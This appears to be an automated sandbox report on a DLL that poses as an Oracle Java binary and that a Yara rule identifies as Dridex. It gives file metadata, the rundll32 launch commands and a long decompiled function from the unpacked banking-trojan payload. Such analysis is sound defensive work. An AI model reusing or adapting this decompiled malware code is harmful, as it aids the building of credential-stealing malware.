.rsrc	0x2c000	0x390	0x400	False	0.41796875	data	3.02156416239	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2d000	0x640	0x800	False	0.6357421875	data	5.25632437688	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x2c060	0x32c	data

Imports

DLL	Import
USER32.dll	DragDetect, TranslateMessage, EnumDisplayDevicesW, GetMenuState
KERNEL32.dll	GetSystemDefaultUILanguage, GetPriorityClass, GetModuleHandleW, OutputDebugStringA, LoadLibraryA, CloseHandle, LoadLibraryExA
WINTRUST.dll	CryptCATAdminCalcHashFromFileHandle
GDI32.dll	OffsetClipRgn
ADVAPI32.dll	RegLoadAppKeyW, CloseEncryptedFileRaw

Version Infos

Description	Data
LegalCopyright	Copyright 2018
InternalName	ofl
FileVersion	1.3.6923.00
Full Version	1.3.6_000-b00
CompanyName	Oracle Corporation
ProductName	Ofll(EH) Watgevae KT 8
ProductVersion	1.3.6923.00
FileDescription	Java(TM) Platform SE binary
OriginalFilename	ofl.dll
Translation	0x0000 0x04b0

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5684 Parent PID: 5572

General

Start time:	23:32:51
Start date:	19/04/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll'
Imagebase:	0xb50000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 5940 Parent PID: 5684

General

Start time:	23:32:52
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll',#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5744 Parent PID: 5940

General

Start time:	23:32:52
Start date:	19/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\0WzJdqE4Rw.dll',#1
Imagebase:	0xe0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 5744 Parent PID: 5940 rundll32.exeCOMMON

Executed Functions

Function 6DE907CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E6DE907CC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _t152;
				void* _t155;
				signed char* _t156;
				char _t159;
				intOrPtr* _t163;
				void* _t177;
				intOrPtr _t186;
				char _t187;
				void* _t192;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				void* _t208;
				void* _t209;
				void* _t211;
				void* _t212;
				void* _t219;
				void* _t232;
				void* _t234;
				void* _t237;
				void* _t240;
				void* _t243;
				void* _t246;
				void* _t250;
				void* _t254;
				void* _t255;
				void* _t257;
				long _t258;
				void* _t261;
				void* _t264;
				int _t267;
				void* _t268;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t278;
				int _t280;
				intOrPtr* _t284;
				signed char _t288;
				signed char _t289;
				signed int _t293;
				void* _t314;
				void* _t319;
				void* _t355;
				void* _t364;
				void* _t369;
				void* _t374;
				void* _t375;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t385;
				void* _t392;
				signed int _t397;
				intOrPtr* _t400;
				void* _t403;
				signed int _t405;
				void* _t407;
				void* _t408;
				void* _t413;
				intOrPtr* _t417;
				void* _t419;
				void** _t421;
				void* _t422;
				void* _t423;
				void* _t424;

				_push(__esi);
				_push(__edi);
				_push(__ebx);
				_t423 = _t422 - 0x1e0;
				_t407 = __ecx;
				_t152 =  *0x6de9d1f8;
				if(_t152 == 0x16a9e13a) {
					_t152 = E6DE93558(0x30);
					 *0x6de9d1f8 = _t152;
				}
				if( *((char*)(_t152 + 0xb)) == 0 || _t407 != 0) {
					_t408 = _t423 + 0x48;
					E6DE935D4(_t408, 0, 0x11c);
					_t424 = _t423 + 0xc;
					 *((intOrPtr*)(_t424 + 0x48)) = 0x11c;
					_t155 = E6DE92F94(0x4bcc7cba, 0xa7920a3, 0x4bcc7cba, 0x4bcc7cba);
					if(_t155 == 0) {
						_t395 =  *0x6de9d1f8;
						_t156 = _t424 + 0x4c;
						_t288 =  *_t156;
						 *(_t395 + 8) = _t288;
						_t289 = _t156[4];
						 *(_t395 + 9) = _t289;
						__eflags = _t156[0x116] - 1;
						_t389 =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xa)) = _t156[0x110];
						 *(_t395 + 4) =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xc)) = 0 | _t156[0x116] != 0x00000001;
						 *_t395 = (_t289 & 0x000000ff) + ((_t288 & 0x000000ff) << 4) - 0x50;
						_t159 = E6DE91094(_t395);
						 *(_t424 + 0x198) = 0;
						 *((char*)( *0x6de9d1f8 + 0xb)) = _t159;
						_t355 = E6DE92F94(0xd0443458, 0xd8ece5ad, _t159, _t159);
						__eflags = _t355;
						if(_t355 == 0) {
							L12:
							__eflags = 0;
							 *((char*)( *0x6de9d1f8 + 0x28)) = 0;
							_t163 = E6DE907CC(0x6de9d1f8, 0, _t389, _t395);
							__eflags =  *_t163 - 0x10;
							if( *_t163 >= 0x10) {
								_t293 = 6;
								memcpy(_t424 + 0x164, 0x6de9bc80, _t293 << 2);
								_t424 = _t424 + 0xc;
								_t392 = 0x6de9bc80 + _t293 + _t293;
								 *((intOrPtr*)(_t424 + 0x1c)) = 0;
								E6DE8F620(_t424 + 0x24, 0);
								_t397 = 0;
								__eflags = 0;
								do {
									E6DE8F8C4(_t424 + 0x24, E6DE8F568(_t424 + 0x20) + 4);
									 *((intOrPtr*)(E6DE8F558(_t424 + 0x24, E6DE8F568(_t424 + 0x20) + 0xfffffffc))) =  *((intOrPtr*)(_t424 + 0x164 + _t397 * 4));
									_t397 = _t397 + 1;
									 *((intOrPtr*)(_t424 + 0x1c)) =  *((intOrPtr*)(_t424 + 0x1c)) + 1;
									__eflags = _t397 - 6;
								} while (_t397 < 6);
								_push(0);
								E6DE954EC(_t424 + 0xc, _t424 + 0x1c, 0x80000002);
								E6DE8F6F0(_t424 + 0x20);
								E6DE9551C(_t424 + 8, _t424 + 0x1c0, 0x5411b30);
								_t177 = E6DE957D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c0)));
								_t398 = _t177;
								E6DE8E054(_t424 + 0x1c0);
								__eflags = _t177;
								if(_t177 != 0) {
									E6DE9551C(_t424 + 8, _t424 + 0x1c8, 0xdb1d9b48);
									_t413 = E6DE957D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c8)));
									E6DE8E054(_t424 + 0x1c8);
									_t398 = _t424 + 0x1d0;
									E6DE9551C(_t424 + 8, _t424 + 0x1d0, 0xf3453dd0);
									_t392 = E6DE957D0(_t424 + 4, __eflags,  *(_t424 + 0x1d0));
									E6DE8E054(_t424 + 0x1d0);
									__eflags = _t413;
									if(_t413 != 0) {
										__eflags = _t413 - 5;
										if(_t413 != 5) {
											__eflags = _t413 - 2;
											if(_t413 != 2) {
												goto L58;
											} else {
												__eflags = _t392 - 1;
												if(_t392 != 1) {
													goto L58;
												} else {
													E6DE8D098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t375 =  *(_t424 + 4);
														__eflags = _t375;
														if(_t375 == 0) {
															L53:
															_t237 = 1;
														} else {
															__eflags = _t375 - 0xffffffff;
															if(_t375 != 0xffffffff) {
																_t237 = 0;
																__eflags = 0;
															} else {
																goto L53;
															}
														}
														__eflags = _t237;
														if(_t237 == 0) {
															E6DE954C4(_t375);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 5;
												}
											}
										} else {
											__eflags = _t392;
											if(_t392 != 0) {
												__eflags = _t392 - 1;
												if(_t392 == 1) {
													E6DE8D098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t376 =  *(_t424 + 4);
														__eflags = _t376;
														if(_t376 == 0) {
															L108:
															_t240 = 1;
														} else {
															__eflags = _t376 - 0xffffffff;
															if(_t376 != 0xffffffff) {
																_t240 = 0;
																__eflags = 0;
															} else {
																goto L108;
															}
														}
														__eflags = _t240;
														if(_t240 == 0) {
															E6DE954C4(_t376);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 4;
												} else {
													goto L58;
												}
											} else {
												E6DE8D098(_t424 + 0xc);
												__eflags =  *((char*)(_t424 + 8));
												if( *((char*)(_t424 + 8)) != 0) {
													_t377 =  *(_t424 + 4);
													__eflags = _t377;
													if(_t377 == 0) {
														L41:
														_t243 = 1;
													} else {
														__eflags = _t377 - 0xffffffff;
														if(_t377 != 0xffffffff) {
															_t243 = 0;
															__eflags = 0;
														} else {
															goto L41;
														}
													}
													__eflags = _t243;
													if(_t243 == 0) {
														E6DE954C4(_t377);
													}
												}
												 *(_t424 + 4) = 0;
												_t186 = 3;
											}
										}
									} else {
										__eflags = _t392;
										if(_t392 != 0) {
											L58:
											E6DE8D098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t374 =  *(_t424 + 4);
												__eflags = _t374;
												if(_t374 == 0) {
													L61:
													_t234 = 1;
												} else {
													__eflags = _t374 - 0xffffffff;
													if(_t374 != 0xffffffff) {
														_t234 = 0;
														__eflags = 0;
													} else {
														goto L61;
													}
												}
												__eflags = _t234;
												if(_t234 == 0) {
													E6DE954C4(_t374);
												}
											}
											_t186 = 0;
											__eflags = 0;
											 *(_t424 + 4) = 0;
										} else {
											E6DE8D098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t378 =  *(_t424 + 4);
												__eflags = _t378;
												if(_t378 == 0) {
													L31:
													_t246 = 1;
												} else {
													__eflags = _t378 - 0xffffffff;
													if(_t378 != 0xffffffff) {
														_t246 = 0;
														__eflags = 0;
													} else {
														goto L31;
													}
												}
												__eflags = _t246;
												if(_t246 == 0) {
													E6DE954C4(_t378);
												}
											}
											 *(_t424 + 4) = 0;
											_t186 = 2;
										}
									}
								} else {
									E6DE8D098(_t424 + 0xc);
									__eflags =  *((char*)(_t424 + 8));
									if( *((char*)(_t424 + 8)) != 0) {
										_t379 =  *(_t424 + 4);
										__eflags = _t379;
										if(_t379 == 0) {
											L21:
											_t250 = 1;
										} else {
											__eflags = _t379 - 0xffffffff;
											if(_t379 != 0xffffffff) {
												_t250 = 0;
												__eflags = 0;
											} else {
												goto L21;
											}
										}
										__eflags = _t250;
										if(_t250 == 0) {
											E6DE954C4(_t379);
										}
									}
									 *(_t424 + 4) = 0;
									_t186 = 1;
								}
							} else {
								_t186 = 1;
							}
							 *((intOrPtr*)( *0x6de9d1f8 + 0x24)) = _t186;
							_t187 = E6DE910CC(0xffffffffffffffff);
							_t314 =  *0x6de9d1f8;
							 *((char*)(_t314 + 0x29)) = _t187;
							__eflags =  *_t314 - 0x10;
							 *((intOrPtr*)(_t314 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
							if( *_t314 >= 0x10) {
								__eflags = 0xffffffffffffffff;
								 *((intOrPtr*)( *0x6de9d1f8 + 0x2c)) = E6DE91140(0xffffffffffffffff, _t392, _t398);
								goto L78;
							} else {
								 *(_t424 + 0x19c) = 0;
								_t364 = E6DE92F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
								__eflags = _t364;
								if(_t364 == 0) {
									L74:
									_t196 =  *0x6de9d1f8;
									__eflags =  *((char*)(_t196 + 0x28));
									if( *((char*)(_t196 + 0x28)) == 0) {
										 *((intOrPtr*)(_t196 + 0x2c)) = 3;
									} else {
										 *((intOrPtr*)(_t196 + 0x2c)) = 5;
									}
									goto L78;
								} else {
									_t198 =  *_t364(0xffffffff, 8, _t424 + 0x19c);
									__eflags = _t198;
									if(_t198 == 0) {
										_t199 = E6DE9352C(_t398);
										__eflags = _t199;
										if(_t199 != 0) {
											goto L74;
										} else {
											goto L69;
										}
									} else {
										L69:
										 *(_t424 + 0x30) =  *(_t424 + 0x19c);
										 *((char*)(_t424 + 0x34)) = 1;
										 *(_t424 + 0x1a4) = 0;
										_t319 = E6DE92F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
										__eflags = _t319;
										if(_t319 != 0) {
											_t232 =  *_t319( *(_t424 + 0x1ac), 1, 0, 0, _t424 + 0x1a4);
											__eflags = _t232;
											if(_t232 == 0) {
												E6DE9352C(_t398);
											}
										}
										_t202 =  *(_t424 + 0x1a4);
										__eflags = _t202;
										if(_t202 != 0) {
											E6DE8F620(_t424 + 0x18c, _t202);
											_t403 = E6DE92F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
											__eflags = _t403;
											if(_t403 == 0) {
												L124:
												E6DE8F6F0(_t424 + 0x188);
												goto L72;
											} else {
												_t208 = E6DE8F558(_t424 + 0x18c, 0);
												_t209 = E6DE8F568(_t424 + 0x188);
												_t211 =  *_t403( *(_t424 + 0x1ac), 1, _t208, _t209, _t424 + 0x1a4);
												__eflags = _t211;
												if(_t211 == 0) {
													_t212 = E6DE9352C(_t403);
													__eflags = _t212;
													if(_t212 != 0) {
														goto L124;
													} else {
														goto L116;
													}
												} else {
													L116:
													_t417 = E6DE8F558(_t424 + 0x18c, 0);
													E6DE8DFFC(_t424 + 0x1b4, 0);
													 *(_t424 + 0x1ac) = 0;
													_t369 = E6DE92F94(0xd0443458, 0x39521505, 0xd0443458, 0xd0443458);
													__eflags = _t369;
													if(_t369 != 0) {
														 *_t369( *_t417, _t424 + 0x1ac);
													}
													E6DE8E070(_t424 + 0x1b4,  *(_t424 + 0x1ac));
													_t219 = E6DE92F94(0x4bcc7cba, 0x1f221433, 0x4bcc7cba, 0x4bcc7cba);
													__eflags = _t219;
													if(_t219 == 0) {
														E6DE8E11C(_t424 + 0x1b8 - 8, _t424 + 0x1b8);
														_t419 = E6DE94BE0( *((intOrPtr*)(_t424 + 0x1b8)), E6DE8E94C( *((intOrPtr*)(_t424 + 0x1b8)), 0x7fffffff));
														E6DE8E054(_t424 + 0x1b8);
														E6DE8E054(_t424 + 0x1b0);
														E6DE8F6F0(_t424 + 0x188);
														__eflags =  *((char*)(_t424 + 0x34));
														if( *((char*)(_t424 + 0x34)) != 0) {
															E6DE8BC00(_t424 + 0x30);
														}
														__eflags = _t419 - 0x6df4cf7;
														if(_t419 != 0x6df4cf7) {
															goto L74;
														} else {
															 *((intOrPtr*)( *0x6de9d1f8 + 0x2c)) = 6;
															L78:
															_t192 = E6DE92F94(0x4bcc7cba, 0x57154e4e, 0x4bcc7cba, 0x4bcc7cba);
															__eflags = _t192;
															if(_t192 != 0) {
																GetSystemInfo(_t424 + 0x164); // executed
															}
															_t152 =  *0x6de9d1f8;
															_t284 = _t424 + 0x178;
															_t400 = _t424 + 0x170;
															 *((short*)(_t152 + 0xe)) =  *_t284;
															 *((intOrPtr*)(_t152 + 0x10)) =  *((intOrPtr*)(_t284 - 0x10));
															 *((intOrPtr*)(_t152 + 0x14)) =  *((intOrPtr*)(_t284 - 0xc));
															 *((intOrPtr*)(_t152 + 0x18)) =  *_t400;
															 *((intOrPtr*)(_t152 + 0x1c)) =  *((intOrPtr*)(_t400 + 0x10));
															goto L81;
														}
													} else {
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t219;
													}
												}
											}
										} else {
											L72:
											__eflags =  *((char*)(_t424 + 0x34));
											if( *((char*)(_t424 + 0x34)) != 0) {
												E6DE8BC00(_t424 + 0x30);
											}
											goto L74;
										}
									}
								}
							}
						} else {
							_t254 =  *_t355(0xffffffff, 8, _t424 + 0x198);
							__eflags = _t254;
							if(_t254 == 0) {
								_t255 = E6DE9352C(_t395);
								__eflags = _t255;
								if(_t255 != 0) {
									goto L12;
								} else {
									goto L7;
								}
							} else {
								L7:
								 *(_t424 + 0x14) =  *(_t424 + 0x198);
								 *((char*)(_t424 + 0x18)) = 1;
								 *(_t424 + 0x1a0) = 0;
								_t257 = E6DE92F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
								__eflags = _t257;
								if(_t257 != 0) {
									_t280 = GetTokenInformation( *(_t424 + 0x1a8), 2, 0, 0, _t424 + 0x1a0); // executed
									__eflags = _t280;
									if(_t280 == 0) {
										E6DE9352C(_t395);
									}
								}
								_t258 =  *(_t424 + 0x1a0);
								__eflags = _t258;
								if(_t258 != 0) {
									E6DE8F620(_t424 + 0x3c, _t258);
									_t261 = E6DE92F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
									_t395 = _t261;
									__eflags = _t261;
									if(_t261 == 0) {
										L98:
										E6DE8F6F0(_t424 + 0x38);
										goto L10;
									} else {
										_t264 = E6DE8F558(_t424 + 0x3c, 0);
										_t267 = GetTokenInformation( *(_t424 + 0x1a8), 2, _t264, E6DE8F568(_t424 + 0x38), _t424 + 0x1a0); // executed
										__eflags = _t267;
										if(_t267 == 0) {
											_t268 = E6DE9352C(_t395);
											__eflags = _t268;
											if(_t268 != 0) {
												goto L98;
											} else {
												goto L85;
											}
										} else {
											L85:
											_t421 = E6DE8F558(_t424 + 0x3c, 0);
											_t389 = _t424 + 0x1d8;
											 *(_t424 + 0x1d8 - 0x30) = 0;
											asm("movsd");
											asm("movsb");
											asm("movsb");
											_t395 = E6DE92F94(0xd0443458, 0xe6199b6e, 0xd0443458, 0xd0443458);
											__eflags = _t395;
											if(_t395 == 0) {
												goto L98;
											} else {
												_t272 = _t424 + 0x1a8;
												_t273 =  *_t395(_t272 + 0x30, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t272);
												__eflags = _t273;
												if(_t273 == 0) {
													_t274 = E6DE9352C(_t395);
													__eflags = _t274;
													if(_t274 != 0) {
														goto L98;
													} else {
														goto L87;
													}
												} else {
													L87:
													_t389 =  *(_t424 + 0x1a8);
													__eflags =  *_t421;
													if( *_t421 <= 0) {
														L92:
														__eflags = _t389;
														if(_t389 == 0) {
															L94:
															_t385 = 1;
														} else {
															__eflags = _t389 - 0xffffffff;
															if(_t389 != 0xffffffff) {
																_t385 = 0;
																__eflags = 0;
															} else {
																goto L94;
															}
														}
														__eflags = _t385;
														if(_t385 == 0) {
															E6DE91070(_t389, _t395, _t389);
														}
														goto L98;
													} else {
														_t405 = 0;
														__eflags = 0;
														while(1) {
															_t278 = E6DE92F94(0xd0443458, 0x713d44b5, 0xd0443458, 0xd0443458);
															__eflags = _t278;
															if(_t278 != 0) {
																break;
															}
															_t405 = _t405 + 1;
															__eflags = _t405 -  *_t421;
															if(_t405 <  *_t421) {
																continue;
															} else {
																goto L92;
															}
															goto L130;
														}
														_push( *((intOrPtr*)(_t421 + 4 + _t405 * 8)));
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t278;
													}
												}
											}
										}
									}
								} else {
									L10:
									__eflags =  *((char*)(_t424 + 0x18));
									if( *((char*)(_t424 + 0x18)) != 0) {
										E6DE8BC00(_t424 + 0x14);
									}
									goto L12;
								}
							}
						}
					} else {
						_push(_t408);
						asm("int3");
						return _t155;
					}
				} else {
					L81:
					return _t152;
				}
				L130:
			}

0x6de907cc
0x6de907cd
0x6de907ce
0x6de907d0
0x6de907db
0x6de907dd
0x6de907e4
0x6de91063
0x6de91069
0x6de91069
0x6de907ee
0x6de907fa
0x6de90806
0x6de9080b
0x6de90818
0x6de90822
0x6de90829
0x6de9082e
0x6de90832
0x6de90836
0x6de9083b
0x6de9083e
0x6de90844
0x6de9084a
0x6de90857
0x6de9085e
0x6de90865
0x6de90868
0x6de9086b
0x6de9086d
0x6de90879
0x6de90886
0x6de90893
0x6de90895
0x6de90897
0x6de90923
0x6de90923
0x6de90929
0x6de9092c
0x6de90931
0x6de90934
0x6de9094c
0x6de9094d
0x6de9094d
0x6de9094d
0x6de90951
0x6de9095a
0x6de9095f
0x6de9095f
0x6de90961
0x6de90972
0x6de90994
0x6de90996
0x6de90997
0x6de9099b
0x6de9099b
0x6de909a4
0x6de909b0
0x6de909b9
0x6de909cf
0x6de909df
0x6de909e4
0x6de909e8
0x6de909ed
0x6de909ef
0x6de90a3f
0x6de90a54
0x6de90a58
0x6de90a5d
0x6de90a6e
0x6de90a83
0x6de90a87
0x6de90a8c
0x6de90a8e
0x6de90ad5
0x6de90ad8
0x6de90b26
0x6de90b29
0x00000000
0x6de90b2b
0x6de90b2b
0x6de90b2e
0x00000000
0x6de90b30
0x6de90b34
0x6de90b39
0x6de90b3e
0x6de90b40
0x6de90b44
0x6de90b46
0x6de90b4d
0x6de90b4d
0x6de90b48
0x6de90b48
0x6de90b4b
0x6de90b51
0x6de90b51
0x00000000
0x00000000
0x00000000
0x6de90b4b
0x6de90b53
0x6de90b55
0x6de90b58
0x6de90b58
0x6de90b55
0x6de90b5d
0x6de90b67
0x6de90b67
0x6de90b2e
0x6de90ada
0x6de90ada
0x6de90adc
0x6de90b1b
0x6de90b1e
0x6de90e90
0x6de90e95
0x6de90e9a
0x6de90e9c
0x6de90ea0
0x6de90ea2
0x6de90ea9
0x6de90ea9
0x6de90ea4
0x6de90ea4
0x6de90ea7
0x6de90ead
0x6de90ead
0x00000000
0x00000000
0x00000000
0x6de90ea7
0x6de90eaf
0x6de90eb1
0x6de90eb4
0x6de90eb4
0x6de90eb1
0x6de90eb9
0x6de90ec3
0x6de90b24
0x00000000
0x6de90b24
0x6de90ade
0x6de90ae2
0x6de90ae7
0x6de90aec
0x6de90aee
0x6de90af2
0x6de90af4
0x6de90afb
0x6de90afb
0x6de90af6
0x6de90af6
0x6de90af9
0x6de90aff
0x6de90aff
0x00000000
0x00000000
0x00000000
0x6de90af9
0x6de90b01
0x6de90b03
0x6de90b06
0x6de90b06
0x6de90b03
0x6de90b0b
0x6de90b15
0x6de90b15
0x6de90adc
0x6de90a90
0x6de90a90
0x6de90a92
0x6de90b6a
0x6de90b6e
0x6de90b73
0x6de90b78
0x6de90b7a
0x6de90b7e
0x6de90b80
0x6de90b87
0x6de90b87
0x6de90b82
0x6de90b82
0x6de90b85
0x6de90b8b
0x6de90b8b
0x00000000
0x00000000
0x00000000
0x6de90b85
0x6de90b8d
0x6de90b8f
0x6de90b92
0x6de90b92
0x6de90b8f
0x6de90b97
0x6de90b97
0x6de90b99
0x6de90a98
0x6de90a9c
0x6de90aa1
0x6de90aa6
0x6de90aa8
0x6de90aac
0x6de90aae
0x6de90ab5
0x6de90ab5
0x6de90ab0
0x6de90ab0
0x6de90ab3
0x6de90ab9
0x6de90ab9
0x00000000
0x00000000
0x00000000
0x6de90ab3
0x6de90abb
0x6de90abd
0x6de90ac0
0x6de90ac0
0x6de90abd
0x6de90ac5
0x6de90acf
0x6de90acf
0x6de90a92
0x6de909f1
0x6de909f5
0x6de909fa
0x6de909ff
0x6de90a01
0x6de90a05
0x6de90a07
0x6de90a0e
0x6de90a0e
0x6de90a09
0x6de90a09
0x6de90a0c
0x6de90a12
0x6de90a12
0x00000000
0x00000000
0x00000000
0x6de90a0c
0x6de90a14
0x6de90a16
0x6de90a19
0x6de90a19
0x6de90a16
0x6de90a1e
0x6de90a28
0x6de90a28
0x6de90936
0x6de90938
0x6de90938
0x6de90ba2
0x6de90ba5
0x6de90baa
0x6de90bac
0x6de90bb5
0x6de90bc1
0x6de90bc4
0x6de90c92
0x6de90c9a
0x00000000
0x6de90bca
0x6de90bd4
0x6de90be6
0x6de90be8
0x6de90bea
0x6de90c76
0x6de90c76
0x6de90c78
0x6de90c7c
0x6de90c87
0x6de90c7e
0x6de90c7e
0x6de90c7e
0x00000000
0x6de90bf0
0x6de90bfc
0x6de90bfe
0x6de90c00
0x6de9104f
0x6de91054
0x6de91056
0x00000000
0x6de9105c
0x00000000
0x6de9105c
0x6de90c06
0x6de90c06
0x6de90c17
0x6de90c1b
0x6de90c20
0x6de90c32
0x6de90c34
0x6de90c36
0x6de90c4d
0x6de90c4f
0x6de90c51
0x6de90ec9
0x6de90ec9
0x6de90c51
0x6de90c57
0x6de90c5e
0x6de90c60
0x6de90edb
0x6de90ef1
0x6de90ef3
0x6de90ef5
0x6de91030
0x6de91037
0x00000000
0x6de90efb
0x6de90f04
0x6de90f12
0x6de90f2c
0x6de90f2e
0x6de90f30
0x6de91041
0x6de91046
0x6de91048
0x00000000
0x6de9104a
0x00000000
0x6de9104a
0x6de90f36
0x6de90f36
0x6de90f44
0x6de90f4f
0x6de90f5e
0x6de90f70
0x6de90f72
0x6de90f74
0x6de90f81
0x6de90f81
0x6de90f91
0x6de90fa2
0x6de90fa7
0x6de90fa9
0x6de90fbf
0x6de90fe0
0x6de90fe9
0x6de90ff5
0x6de91001
0x6de91006
0x6de9100b
0x6de91011
0x6de91011
0x6de91016
0x6de9101c
0x00000000
0x6de91022
0x6de91024
0x6de90c9d
0x6de90ca9
0x6de90cb0
0x6de90cb2
0x6de90cbc
0x6de90cbc
0x6de90cbe
0x6de90cc0
0x6de90ccf
0x6de90cdb
0x6de90cdf
0x6de90ce2
0x6de90ce5
0x6de90ce8
0x00000000
0x6de90ce8
0x6de90fab
0x6de90fab
0x6de90fb2
0x6de90fb3
0x6de90fb3
0x6de90fa9
0x6de90f30
0x6de90c66
0x6de90c66
0x6de90c66
0x6de90c6b
0x6de90c71
0x6de90c71
0x00000000
0x6de90c6b
0x6de90c60
0x6de90c00
0x6de90bea
0x6de9089d
0x6de908a9
0x6de908ab
0x6de908ad
0x6de90e7a
0x6de90e7f
0x6de90e81
0x00000000
0x6de90e87
0x00000000
0x6de90e87
0x6de908b3
0x6de908b3
0x6de908c4
0x6de908c8
0x6de908cd
0x6de908da
0x6de908e1
0x6de908e3
0x6de908fa
0x6de908fc
0x6de908fe
0x6de90cf6
0x6de90cf6
0x6de908fe
0x6de90904
0x6de9090b
0x6de9090d
0x6de90d05
0x6de90d16
0x6de90d1b
0x6de90d1d
0x6de90d1f
0x6de90e50
0x6de90e54
0x00000000
0x6de90d25
0x6de90d2b
0x6de90d50
0x6de90d52
0x6de90d54
0x6de90e6c
0x6de90e71
0x6de90e73
0x00000000
0x6de90e75
0x00000000
0x6de90e75
0x6de90d5a
0x6de90d5a
0x6de90d65
0x6de90d6c
0x6de90d73
0x6de90d7a
0x6de90d7b
0x6de90d7c
0x6de90d8e
0x6de90d90
0x6de90d92
0x00000000
0x6de90d98
0x6de90d9a
0x6de90db5
0x6de90db7
0x6de90db9
0x6de90e5e
0x6de90e63
0x6de90e65
0x00000000
0x6de90e67
0x00000000
0x6de90e67
0x6de90dbf
0x6de90dbf
0x6de90dbf
0x6de90dc6
0x6de90dca
0x6de90e35
0x6de90e35
0x6de90e37
0x6de90e3e
0x6de90e3e
0x6de90e39
0x6de90e39
0x6de90e3c
0x6de90e42
0x6de90e42
0x00000000
0x00000000
0x00000000
0x6de90e3c
0x6de90e44
0x6de90e46
0x6de90e4b
0x6de90e4b
0x00000000
0x6de90dcc
0x6de90dcc
0x6de90dcc
0x6de90dce
0x6de90dda
0x6de90ddf
0x6de90de1
0x00000000
0x00000000
0x6de90e2f
0x6de90e30
0x6de90e33
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6de90e33
0x6de90de3
0x6de90de7
0x6de90dee
0x6de90def
0x6de90def
0x6de90dca
0x6de90db9
0x6de90d92
0x6de90d54
0x6de90913
0x6de90913
0x6de90913
0x6de90918
0x6de9091e
0x6de9091e
0x00000000
0x6de90918
0x6de9090d
0x6de908ad
0x6de9082b
0x6de9082b
0x6de9082c
0x6de9082d
0x6de9082d
0x6de90ceb
0x6de90ceb
0x6de90cf5
0x6de90cf5
0x00000000

APIs

GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,D0443458,D0443458), ref: 6DE908FA
GetSystemInfo.KERNELBASE(?,4BCC7CBA,4BCC7CBA,?,?,F3453DD0,?,?,DB1D9B48,?,?,05411B30,00000000,80000002,00000000,-000000FC), ref: 6DE90CBC
GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,00000000,D0443458,D0443458,00000000,D0443458,D0443458), ref: 6DE90D50

Memory Dump Source

Source File: 00000003.00000002.503419518.000000006DE81000.00000020.00020000.sdmp, Offset: 6DE80000, based on PE: true

Associated: 00000003.00000002.503404832.000000006DE80000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503456813.000000006DE9A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.503468463.000000006DE9D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.503477036.000000006DE9F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

